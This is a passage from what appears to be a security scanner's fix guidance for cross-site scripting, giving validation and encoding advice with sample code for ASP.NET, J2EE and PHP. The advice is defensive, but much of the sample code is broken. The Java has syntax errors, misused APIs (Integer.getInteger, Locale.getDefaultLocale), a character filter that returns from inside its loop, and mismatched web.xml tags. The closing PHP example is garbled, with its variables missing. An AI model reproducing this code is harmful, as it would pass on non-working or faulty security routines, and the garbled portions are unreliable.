Even if you make a mistake in your validation (such as forgetting one of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

## Fix Recommendation - ASP.NET

[1] We recommend that you upgrade your server to .NET Framework 2.0 (or newer), which includes inherent security checks that protect against cross site scripting attacks.
[2] You can add input validation to Web Forms pages by using validation controls. Validation controls provide an easy-to-use mechanism for all common types of standard validation (for example, tests for valid dates or values within a range). The validation controls also support custom-written validations, and allow you to completely customize how error information is displayed to the user. Validation controls can be used with any controls that are processed in a Web Forms page class file, including both HTML and Web server controls.

To make sure that user input contains only valid values, you can use one of the following validation controls:

[1] "RangeValidator": checks that a user's entry (value) is between specified lower and upper boundaries. You can check ranges within pairs of numbers, alphabetic characters, and dates.

[2] "RegularExpressionValidator": checks that the entry matches a pattern defined by a regular expression. This type of validation allows you to check for predictable sequences of characters, such as those in social security numbers, e-mail addresses, telephone numbers, postal codes, and so on.

Examples of regular expressions that may help block cross site scripting:

- A possible regular expression, which will deny the basic cross site scripting variants might be: ^([^<]|\<[^a-zA-Z])*[<]?$
- A generic regular expression, which will deny all of the aforementioned characters might be: ^([^\<\>\"\'\%\;\)\(\&\+]*)$

Important note: validation controls do not block user input or change the flow of page processing; they only set an error state, and produce error messages. It is the programmer's responsibility to test the state of the controls in the code before performing further application-specific actions.

There are two ways to check for user input validity:

1. Test for a general error state:
In your code, test the page's IsValid property. This property rolls up the values of the IsValid properties of all the validation controls on the page (using a logical AND). If one of the validation controls is set to invalid, the page's property will return false.

2. Test for the error state of individual controls:
Loop through the page's Validators collection, which contains references to all the validation controls. You can then examine the IsValid property of each validation control.

Finally, we recommend that the Microsoft Anti-Cross Site Scripting Library (v1.5 or higher) be used to encode untrusted user input.

The Anti-Cross Site Scripting library exposes the following methods:

[1] HtmlEncode - Encodes input strings for use in HTML
[2] HtmlAttributeEncode - Encodes input strings for use in HTML attributes
[3] JavaScriptEncode - Encodes input strings for use in JavaScript
[4] UrlEncode - Encodes input strings for use in Universal Resource Locators (URLs)
[5] VisualBasicScriptEncode - Encodes input strings for use in Visual Basic Script
[6] XmlEncode - Encodes input strings for use in XML
[7] XmlAttributeEncode - Encodes input strings for use in XML attributes

To properly use the Microsoft Anti-Cross Site Scripting Library to protect ASP.NET Web-applications, you need to:

Step 1: Review ASP.NET code that generates output
Step 2: Determine whether output includes untrusted input parameters
Step 3: Determine the context which the untrusted input is used as output, and determine which encoding method to use
Step 4: Encode output

Example for Step 3:

Note: If the untrusted input will be used to set an HTML attribute, then the Microsoft.Security.Application.HtmlAttributeEncode method should be used to encode the untrusted input.
Alternatively, if the untrusted input will be used within the context of JavaScript, then Microsoft.Security.Application.JavaScriptEncode should be used to encode.

```
// Vulnerable code
// Note that untrusted input is being treated as an HTML attribute
```

```
  Literal1.Text = "<hr noshade size=[untrusted input here]>";


  // Modified code
  Literal1.Text = "<hr noshade
size="+Microsoft.Security.Application.AntiXss.HtmlAttributeEncode([untrusted input here])+">";
```

Example for Step 4:
Some important things to remember about encoding outputs:

[1] Outputs should be encoded once.
[2] Output encoding should be done as close to the actual writing of the output as possible. For example, if an application is reading user input, processing the input and then writing it back out in some form, then encoding should happen just before the output is written.

```
  // Incorrect sequence
  protected void Button1_Click(object sender, EventArgs e)
  {
      // Read input
      String Input = TextBox1.Text;
      // Encode untrusted input
      Input = Microsoft.Security.Application.AntiXss.HtmlEncode(Input);
      // Process input
      ...
      // Write Output
      Response.Write("The input you gave was"+Input);
  }


  // Correct Sequence
  protected void Button1_Click(object sender, EventArgs e)
  {
      // Read input
      String Input = TextBox1.Text;
      // Process input
      ...
      // Encode untrusted input and write output
      Response.Write("The input you gave was"+
          Microsoft.Security.Application.AntiXss.HtmlEncode(Input));
  }
```

## Fix Recommendation - J2EE

** Input Data Validation:

While data validations may be provided as a user convenience on the "client" tier data, validation must be performed on the server-tier using Servlets. Client-side validations are inherently insecure because they can be easily bypassed, e.g. by disabling Javascript.

A good design usually requires the web application framework to provide server-side utility routines to validate the following:
[1] Required field
[2] Field data type (all HTTP request parameters are Strings by default)
[3] Field length
[4] Field range
[5] Field options
[6] Field pattern
[7] Cookie values
[8] HTTP Response

A good practice is to implement the above routine as static methods in a "Validator" utility class. The following sections describe an example validator class.

[1] Required field
Always check that the field is not null and its length is greater than zero, excluding leading and trailing white spaces.

Example of how to validate required fields:

```
  // Java example to validate required fields
  public Class Validator {
      ...
      public static boolean validateRequired(String value) {
          boolean isFieldValid = false;
          if (value != null && value.trim().length() > 0) {
              isFieldValid = true;
          }
          return isFieldValid;
      }
      ...
  }
  ...
  String fieldValue = request.getParameter("fieldName");
  if (Validator.validateRequired(fieldValue)) {
      // fieldValue is valid, continue processing request
      ...
  }
```

[2] Field data type
In web applications, input parameters are poorly typed. For example, all HTTP request parameters or cookie values are of type String. The developer is responsible for verifying that the input is of the correct data type. Use the Java primitive wrapper classes to check if the field value can be safely converted to the desired primitive data type.

Example of how to validate a numeric field (type int):

```
// Java example to validate that a field is an int number
public Class Validator {
    ...
    public static boolean validateInt(String value) {
        boolean isFieldValid = false;
        try {
            Integer.parseInt(value);
            isFieldValid = true;
        } catch (Exception e) {
            isFieldValid = false;
        }
        return isFieldValid;
    }
    ...
}
...
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // fieldValue is valid, continue processing request
    ...
}
```

A good practice is to convert all HTTP request parameters to their respective data types. For example, the developer should store the "integerValue" of a request parameter in a request attribute and use it as shown in the following example:

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
```

The primary Java data types that the application should handle:
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date

[3] Field length
Always ensure that the input parameter (whether HTTP request parameter or cookie value) is bounded by a minimum length and/or a maximum length.

Example to validate that the length of the userName field is between 8 and 20 characters:

```
// Example to validate the field length
public Class Validator {
    ...
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
                    validatedValue.length() <= maxLength);
    }
    ...
}
...
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
    if (Validator.validateLength(userName, 8, 20)) {
        // userName is valid, continue further processing
        ...
    }
}
```

[4] Field range
Always ensure that the input parameter is within a range as defined by the functional requirements.

Example to validate that the input numberOfChoices is between 10 and 20:

```
// Example to validate the field range
public Class Validator {
    ...
    public static boolean validateRange(int value, int min, int max) {
        return (value >= min && value <= max);
    }
    ...
}
...
String fieldValue = request.getParameter("numberOfChoices");
if (Validator.validateRequired(fieldValue)) {
    if (Validator.validateInt(fieldValue)) {
        int numberOfChoices = Integer.parseInt(fieldValue);
        if (Validator.validateRange(numberOfChoices, 10, 20)) {
            // numberOfChoices is valid, continue processing request
            ...
        }
    }
}
```

[5] Field options
Often, the web application presents the user with a set of options to choose from, e.g. using the SELECT HTML tag, but fails to perform server-side validation to ensure that the selected value is one of the allowed options. Remember that a malicious user can easily modify any option value. Always validate the selected user value against the allowed options as defined by the functional requirements.

Example to validate the user selection against a list of allowed options:

```
// Example to validate user selection against a list of options
public Class Validator {
    ...
    public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
        try {
            List list = Arrays.asList(options);
            if (list != null) {
                isValidValue = list.contains(value);
            }
        } catch (Exception e) {
        }
        return isValidValue;
    }
    ...
}
...
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
    // valid user selection, continue processing request
    ...
}
```

[6] Field pattern
Always check that the user input matches a pattern as defined by the functionality requirements. For example, if the userName field should only allow alpha-numeric characters, case insensitive, then use the following regular expression:
^[a-zA-Z0-9]*$

Java 1.3 or earlier versions do not include any regular expression packages. Apache Regular Expression Package (see Resources below) is recommended for use with Java 1.3 to resolve this lack of support. Example to perform regular expression validation:

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
             RE r = new RE(expression);
             match = r.match(value);
        }
        return match;
    }
    ...
}
...
```

```
// Verify that the userName request parameter is alphanumeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    // userName is valid, continue processing request
    ...
}
```

Java 1.4 introduced a new regular expression package (java.util.regex). Here is a modified version of Validator.matchPattern using the new Java 1.4 regular expression package:

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            match = Pattern.matches(expression, value);
        }
        return match;
    }
    ...
}
```

[7] Cookie value
Use the javax.servlet.http.Cookie object to validate the cookie value. The same validation rules (described above) apply to cookie values depending on the application requirements (validate a required value, validate length, etc).

Example to validate a required cookie value:

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
                // valid cookie value, continue processing request
                ...
            }
        }
    }
}
```

[8] HTTP Response
[8-1] Filter user input
To guard the application against cross-site scripting, sanitize HTML by converting sensitive characters to their corresponding character entities. These are the HTML sensitive characters:
< > " ' % ; ) ( & +

Example to filter a specified string by converting sensitive characters to their corresponding character entities:

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
    ...
    public static String filter(String value) {
        if (value == null) {
            return null;
        }
        StringBuffer result = new StringBuffer(value.length());
        for (int i=0; i<value.length(); ++i) {
            switch (value.charAt(i)) {
            case '<':
                result.append("&lt;");
                break;
            case '>':
                result.append("&gt;");
                break;
            case '"':
                result.append("&quot;");
                break;
            case '\'':
                result.append("&#39;");
                break;
            case '%':
                result.append("&#37;");
                break;
            case ';':
                result.append("&#59;");
                break;
```

```
                case '(':
                    result.append("&#40;");
                    break;
                case ')':
                    result.append("&#41;");
                    break;
                case '&':
                    result.append("&amp;");
                    break;
                case '+':
                    result.append("&#43;");
                    break;
                default:
                    result.append(value.charAt(i));
                    break;
            }
            return result;
        }
        ...
    }
    ...
    // Filter the HTTP response using Validator.filter
    PrintWriter out = response.getWriter();
    // set output response
    out.write(Validator.filter(response));
    out.close();
```

The Java Servlet API 2.3 introduced filters, which support the interception and transformation of HTTP requests or responses.

Example of using a Servlet Filter to sanitize the response using Validator.filter:

```
    // Example to filter all sensitive characters in the HTTP response using a Java Filter.
    // This example is for illustration purposes since it will filter all content in the response,
including HTML tags!
    public class SensitiveCharsFilter implements Filter {
        ...
        public void doFilter(ServletRequest request,
                             ServletResponse response,
                             FilterChain chain)
                throws IOException, ServletException {

            PrintWriter out = response.getWriter();
            ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
            chain.doFilter(request, wrapper);

            CharArrayWriter caw = new CharArrayWriter();
            caw.write(Validator.filter(wrapper.toString()));

            response.setContentType("text/html");
            response.setContentLength(caw.toString().length());
            out.write(caw.toString());
            out.close();
        }
        ...
        public class CharResponseWrapper extends HttpServletResponseWrapper {
            private CharArrayWriter output;

            public String toString() {
                return output.toString();
            }

            public CharResponseWrapper(HttpServletResponse response){
                super(response);
                output = new CharArrayWriter();
            }

            public PrintWriter getWriter(){
                return new PrintWriter(output);
            }
        }
    }

    }
```

[8-2] Secure the cookie
When storing sensitive data in a cookie, make sure to set the secure flag of the cookie in the HTTP response, using Cookie.setSecure(boolean flag) to instruct the browser to send the cookie using a secure protocol, such as HTTPS or SSL.

Example to secure the "user" cookie:

```
    // Example to secure a cookie, i.e. instruct the browser to
    // send the cookie using a secure protocol
    Cookie cookie = new Cookie("user", "sensitive");
    cookie.setSecure(true);
```

```
response.addCookie(cookie);
```

RECOMMENDED JAVA TOOLS
The two main Java frameworkss for server-side validation are:
[1] Jakarta Commons Validator (integrated with Struts 1.1)
The Jakarta Commons Validator is a powerful framework that implements all the above data validation requirements. These rules are configured in an XML file that defines input validation rules for form fields. Struts supports output filtering of dangerous characters in the [8] HTTP Response by default on all data written using the Struts 'bean:write' tag. This filtering may be disabled by setting the 'filter=false' flag.

Struts defines the following basic input validators, but custom validators may also be defined:
required: succeeds if the field contains any characters other than white space.
mask: succeeds if the value matches the regular expression given by the mask attribute.
range: succeeds if the value is within the values given by the min and max attributes ((value >= min) & (value <= max)).
maxLength: succeeds if the field is length is less than or equal to the max attribute.
minLength: succeeds if the field is length is greater than or equal to the min attribute.
byte, short, integer, long, float, double: succeeds if the value can be converted to the corresponding primitive.
date: succeeds if the value represents a valid date. A date pattern may be provided.
creditCard: succeeds if the value could be a valid credit card number.
e-mail: succeeds if the value could be a valid e-mail address.

Example to validate the userName field of a loginForm using Struts Validator:

```
<form-validation>
    <global>
        ...
        <validator name="required"
            classname="org.apache.struts.validator.FieldChecks"
            method="validateRequired"
            msg="errors.required">
        </validator>
        <validator name="mask"
            classname="org.apache.struts.validator.FieldChecks"
            method="validateMask"
            msg="errors.invalid">
        </validator>
        ...
    </global>
    <formset>
        <form name="loginForm">
            <!-- userName is required and is alpha-numeric case insensitive -->
            <field property="userName" depends="required,mask">
                <!-- message resource key to display if validation fails -->
                <msg name="mask" key="login.userName.maskmsg"/>
                <arg0 key="login.userName.displayname"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>^[a-zA-Z0-9]*$</var-value>
                </var>
            </field>
        ...
        </form>
        ...
    </formset>
</form-validation>
```

[2] JavaServer Faces Technology
JavaServer Faces Technology is a set of Java APIs (JSR 127) to represent UI components, manage their state, handle events, and validate input.

The JavaServer Faces API implements the following basic validators, but custom validators may be defined:
validate_doublerange: registers a DoubleRangeValidator on a component.
validate_length: registers a LengthValidator on a component.
validate_longrange: registers a LongRangeValidator on a component.
validate_required: registers a RequiredValidator on a component.
validate_stringrange: registers a StringRangeValidator on a component.
validator: registers a custom Validator on a component.

The JavaServer Faces API defines the following UIInput and UIOutput Renderers (Tags):
input_date: accepts a java.util.Date formatted with a java.text.Date instance.
output_date: displays a java.util.Date formatted with a java.text.Date instance.
input_datetime: accepts a java.util.Date formatted with a java.text.DateTime instance.
output_datetime: displays a java.util.Date formatted with a java.text.DateTime instance.
input_number: displays a numeric data type (java.lang.Number or primitive), formatted with a java.text.NumberFormat.
output_number: displays a numeric data type (java.lang.Number or primitive), formatted with a java.text.NumberFormat.
input_text: accepts a text string of one line.
output_text: displays a text string of one line.
input_time: accepts a java.util.Date, formatted with a java.text.DateFormat time instance.
output_time: displays a java.util.Date, formatted with a java.text.DateFormat time instance.
input_hidden: allows a page author to include a hidden variable in a page.
input_secret: accepts one line of text with no spaces and displays it as a set of asterisks as it is typed.
input_textarea: accepts multiple lines of text.
output_errors: displays error messages for an entire page or error messages associated with a specified client identifier.
output_label: displays a nested component as a label for a specified input field.
output_message: displays a localized message.

Example to validate the userName field of a loginForm using JavaServer Faces:

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
    class="myApplication.UserBean" scope="session" />
<f:use_faces>
  <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
        <f:validate_required/>
        <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
</f:use faces>
```

REFERENCES
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

** Error Handling:

Many J2EE web application architectures follow the Model View Controller (MVC) pattern. In this pattern a Servlet acts as a Controller. A Servlet delegates the application processing to a JavaBean such as an EJB Session Bean (the Model). The Servlet then forwards the request to a JSP (View) to render the processing results. Servlets should check all input, output, return codes, error codes and known exceptions to ensure that the expected processing actually occurred.

While data validation protects applications against malicious data tampering, a sound error handling strategy is necessary to prevent the application from inadvertently disclosing internal error messages such as exception stack traces. A good error handling strategy addresses the following items:

[1] Defining Errors
[2] Reporting Errors
[3] Rendering Errors
[4] Error Mapping

[1] Defining Errors
Hard-coded error messages in the application layer (e.g. Servlets) should be avoided. Instead, the application should use error keys that map to known application failures. A good practice is to define error keys that map to validation rules for HTML form fields or other bean properties. For example, if the "user_name" field is required, is alphanumeric, and must be unique in the database, then the following error keys should be defined:

(a) ERROR_USERNAME_REQUIRED: this error key is used to display a message notifying the user that the "user_name" field is required;
(b) ERROR_USERNAME_ALPHANUMERIC: this error key is used to display a message notifying the user that the "user_name" field should be alphanumeric;
(c) ERROR_USERNAME_DUPLICATE: this error key is used to display a message notifying the user that the "user_name" value is a duplicate in the database;
(d) ERROR_USERNAME_INVALID: this error key is used to display a generic message notifying the user that the "user_name" value is invalid;

A good practice is to define the following framework Java classes which are used to store and report application errors:

- ErrorKeys: defines all error keys

```
// Example: ErrorKeys defining the following error keys:
//    - ERROR_USERNAME_REQUIRED
//    - ERROR_USERNAME_ALPHANUMERIC
//    - ERROR_USERNAME_DUPLICATE
//    - ERROR_USERNAME_INVALID
//    ...
public Class ErrorKeys {
    public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
    public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
    public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
    public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
    ...
}
```

- Error: encapsulates an individual error

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {

    // Constructor given a specified error key
    public Error(String key) {
        this(key, null);
    }

    // Constructor given a specified error key and array of placeholder objects
    public Error(String key, Object[] values) {
        this.key = key;
        this.values = values;
    }

    // Returns the error key
    public String getKey() {
        return this.key;
    }

    // Returns the placeholder values
    public Object[] getValues() {
        return this.values;
    }

    private String key = null;
    private Object[] values = null;
}
```

- Errors: encapsulates a Collection of errors

```
// Example: Errors encapsulates the Error objects being reported to the presentation layer.
// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArrayList of Error objects.
public Class Errors implements Serializable {

    // Adds an Error object to the Collection of errors for the specified bean property.
    public void addError(String property, Error error) {
        ArrayList propertyErrors = (ArrayList)errors.get(property);
        if (propertyErrors == null) {
            propertyErrors = new ArrayList();
            errors.put(property, propertyErrors);
        }
        propertyErrors.put(error);
    }

    // Returns true if there are any errors
    public boolean hasErrors() {
        return (errors.size > 0);
    }

    // Returns the Errors for the specified property
    public ArrayList getErrors(String property) {
        return (ArrayList)errors.get(property);
    }

    private HashMap errors = new HashMap();
}
```

Using the above framework classes, here is an example to process validation errors of the "user_name" field:

```
// Example to process validation errors of the "user_name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
}
else
{
    // (c) Duplicate check validation rule
    // We assume that there is an existing UserValidationEJB session bean that implements
    // a checkIfDuplicate() method to verify if the user already exists in the database.
    try {
        ...
        if (UserValidationEJB.checkIfDuplicate(userName)) {
            errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
        }
    } catch (RemoteException e) {
        // log the error
```

```
            logger.error("Could not validate user for specified userName: " + userName);
            errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
        }
    }
    // set the errors object in a request attribute called "errors"
    request.setAttribute("errors", errors);
    ...
```

[2] Reporting Errors
There are two ways to report web-tier application errors:
(a) Servlet Error Mechanism
(b) JSP Error Mechanism

[2-a] Servlet Error Mechanism
A Servlet may report errors by:
- forwarding to the input JSP (having already stored the errors in a request attribute), OR
- calling response.sendError with an HTTP error code argument, OR
- throwing an exception

It is good practice to process all known application errors (as described in section [1]), store them in a request attribute, and forward to the input JSP. The input JSP should display the error messages and prompt the user to re-enter the data. The following example illustrates how to forward to an input JSP (userInput.jsp):

```
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
    rd.forward(request, response);
}
```

If the Servlet cannot forward to a known JSP page, the second option is to report an error using the response.sendError method with HttpServletResponse.SC_INTERNAL_SERVER_ERROR (status code 500) as an argument. Refer to the javadoc of javax.servlet.http.HttpServletResponse for more details on the various HTTP status codes.

Example to return a HTTP error:

```
// Example to return a HTTP error code
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd == null) {
    // messages is a resource bundle with all message keys and values
    response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
                           messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
}
```

As a last resort, Servlets can throw an exception, which must be a subclass of one of the following classes:
- RuntimeException
- ServletException
- IOException

[2-b] JSP Error Mechanism
JSP pages provide a mechanism to handle runtime exceptions by defining an errorPage directive as shown in the following example:

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

Uncaught JSP exceptions are forwarded to the specified errorPage, and the original exception is set in a request parameter called javax.servlet.jsp.jspException. The error page must include a isErrorPage directive:

```
<%@ page isErrorPage="true" %>
```

The isErrorPage directive causes the "exception" variable to be initialized to the exception object being thrown.

[3] Rendering Errors
The J2SE Internationalization APIs provide utility classes for externalizing application resources and formatting messages including:

(a) Resource Bundles
(b) Message Formatting

[3-a] Resource Bundles
Resource bundles support internationalization by separating localized data from the source code that uses it. Each resource bundle stores a map of key/value pairs for a specific locale.

It is common to use or extend java.util.PropertyResourceBundle, which stores the content in an external properties file as shown in the following example:

```
################################################
# ErrorMessages.properties
################################################
# required user name error message
error.username.required=User name field is required

# invalid user name format
error.username.alphanumeric=User name must be alphanumeric

# duplicate user name error message
error.username.duplicate=User name {0} already exists, please choose another one

...
```

Multiple resources can be defined to support different locales (hence the name resource bundle). For example, ErrorMessages_fr.properties can be defined to support the French member of the bundle family. If the resource member of the requested locale does not exist, the default member is used. In the above example, the default resource is ErrorMessages.properties. Depending on the user's locale, the application (JSP or Servlet) retrieves content from the appropriate resource.

[3-b] Message Formatting
The J2SE standard class java.util.MessageFormat provides a generic way to create messages with replacement placeholders. A MessageFormat object contains a pattern string with embedded format specifiers as shown below:

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

Here is a more comprehensive example to render error messages using ResourceBundle and MessageFormat:

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {

    // Returns the error message for the specified error key in the environment locale
    public String getErrorMessage(String errorKey) {
        return getErrorMessage(errorKey, defaultLocale);
    }

    // Returns the error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Locale locale) {
        return getErrorMessage(errorKey, null, locale);
    }

    // Returns a formatted error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
        // Get localized ErrorMessageResource
        ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
        // Get localized error message
        String errorMessage = errorMessageResource.getString(errorKey);
        if (args != null) {
            // Format the message using the specified placeholders args
            return MessageFormat.format(errorMessage, args);
        } else {
            return errorMessage;
        }
    }

    // default environment locale
    private Locale defaultLocale = Locale.getDefaultLocale();
}
...
// Get the user's locale
Locale userLocale = request.getLocale();
// Check if there were any validation errors
Errors errors = (Errors)request.getAttribute("errors");
if (errors != null && errors.hasErrors()) {
    // iterate through errors and output error messages corresponding to the "user_name"
property
    ArrayList userNameErrors = errors.getErrors("user_name");
    ListIterator iterator = userNameErrors.iterator();
    while (iterator.hasNext()) {
        // Get the next error object
        Error error = (Error)iterator.next();
        String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
        output.write(errorMessage + "\r\n");
    }
}
```

It is recommended to define a custom JSP tag (e.g. displayErrors), to iterate through and render error messages as shown in the above example.

[4] Error Mapping
Normally, the Servlet Container will return a default error page corresponding to either the response status code or the exception. A mapping between the status code or the exception and a web resource may be specified using custom error pages. It is a good practice to develop static error pages that do not disclose internal error states (by default, most Servlet containers will report internal error messages). This mapping is configured in the Web Deployment Descriptor (web.xml) as specified in the following example:

```
<!-- Mapping of HTTP error codes and application exceptions to error pages -->
<error-page>
  <exception-type>UserValidationException</exception-type>
  <location>/errors/validationError.html</error-page>
</error-page>
<error-page>
  <error-code>500</exception-type>
```

```
  <location>/errors/internalError.html</error-page>
</error-page>
<error-page>
...
</error-page>
...
```

RECOMMENDED JAVA TOOLS
The two main Java frameworkss for server-side validation are:
[1] Jakarta Commons Validator (integrated with Struts 1.1)
The Jakarta Commons Validator is a Java framework that defines the error handling mechanism as described above. Validation rules are configured in an XML file that defines input validation rules for form fields and the corresponding validation error keys. Struts provides internationalization support to build localized applications using resource bundles and message formatting.

Example to validate the userName field of a loginForm using Struts Validator:

```
<form-validation>
    <global>
        ...
        <validator name="required"
            classname="org.apache.struts.validator.FieldChecks"
            method="validateRequired"
            msg="errors.required">
        </validator>
        <validator name="mask"
            classname="org.apache.struts.validator.FieldChecks"
            method="validateMask"
            msg="errors.invalid">
        </validator>
        ...
    </global>
    <formset>
        <form name="loginForm">
            <!-- userName is required and is alpha-numeric case insensitive -->
            <field property="userName" depends="required,mask">
                <!-- message resource key to display if validation fails -->
                <msg name="mask" key="login.userName.maskmsg"/>
                <arg0 key="login.userName.displayname"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>^[a-zA-Z0-9]*$</var-value>
                </var>
            </field>
        ...
        </form>
        ...
    </formset>
</form-validation>
```

The Struts JSP tag library defines the "errors" tag that conditionally displays a set of accumulated error messages as shown in the following example:

```
<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html:html>
<head>
<body>
    <html:form action="/logon.do">
    <table border="0" width="100%">
    <tr>
        <th align="right">
            <html:errors property="username"/>
            <bean:message key="prompt.username"/>
        </th>
        <td align="left">
            <html:text property="username" size="16"/>
        </td>
    </tr>
    <tr>
    <td align="right">
        <html:submit><bean:message key="button.submit"/></html:submit>
    </td>
    <td align="right">
        <html:reset><bean:message key="button.reset"/></html:reset>
    </td>
    </tr>
    </table>
    </html:form>
</body>
</html:html>
```

[2] JavaServer Faces Technology
JavaServer Faces Technology is a set of Java APIs (JSR 127) to represent UI components, manage their state, handle events,

validate input, and support internationalization.

The JavaServer Faces API defines the "output_errors" UIOutput Renderer, which displays error messages for an entire page or error messages associated with a specified client identifier.

Example to validate the userName field of a loginForm using JavaServer Faces:

```
  <%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
  <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
  ...
  <jsp:useBean id="UserBean"
      class="myApplication.UserBean" scope="session" />
  <f:use_faces>
    <h:form formName="loginForm" >
      <h:input_text id="userName" size="20" modelReference="UserBean.userName">
          <f:validate_required/>
          <f:validate_length minimum="8" maximum="20"/>
      </h:input_text>
      <!-- display errors if present -->
      <h:output_errors id="loginErrors" clientId="userName"/>
      <h:command_button id="submit" label="Submit" commandName="submit" /><p>
    </h:form>
  </f:use faces>
```

REFERENCES
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

## Fix Recommendation - PHP

** Input Data Validation:

While data validations may be provided as a user convenience on the client-tier, data validation must always be performed on the server-tier. Client-side validations are inherently insecure because they can be easily bypassed, e.g. by disabling Javascript.

A good design usually requires the web application framework to provide server-side utility routines to validate the following:
[1] Required field
[2] Field data type (all HTTP request parameters are Strings by default)
[3] Field length
[4] Field range
[5] Field options
[6] Field pattern
[7] Cookie values
[8] HTTP Response

A good practice is to implement a function or functions that validates each application parameter. The following sections describe some example checking.

[1] Required field
Always check that the field is not null and its length is greater than zero, excluding leading and trailing white spaces.

Example of how to validate required fields:

```
  // PHP example to validate required fields
input) {
      ...
ass = false;
input))>0){
ass = true;
      }
ass;
      ...
  }
  ...
fieldName)) {
      // fieldName is valid, continue processing request
      ...
  }
```

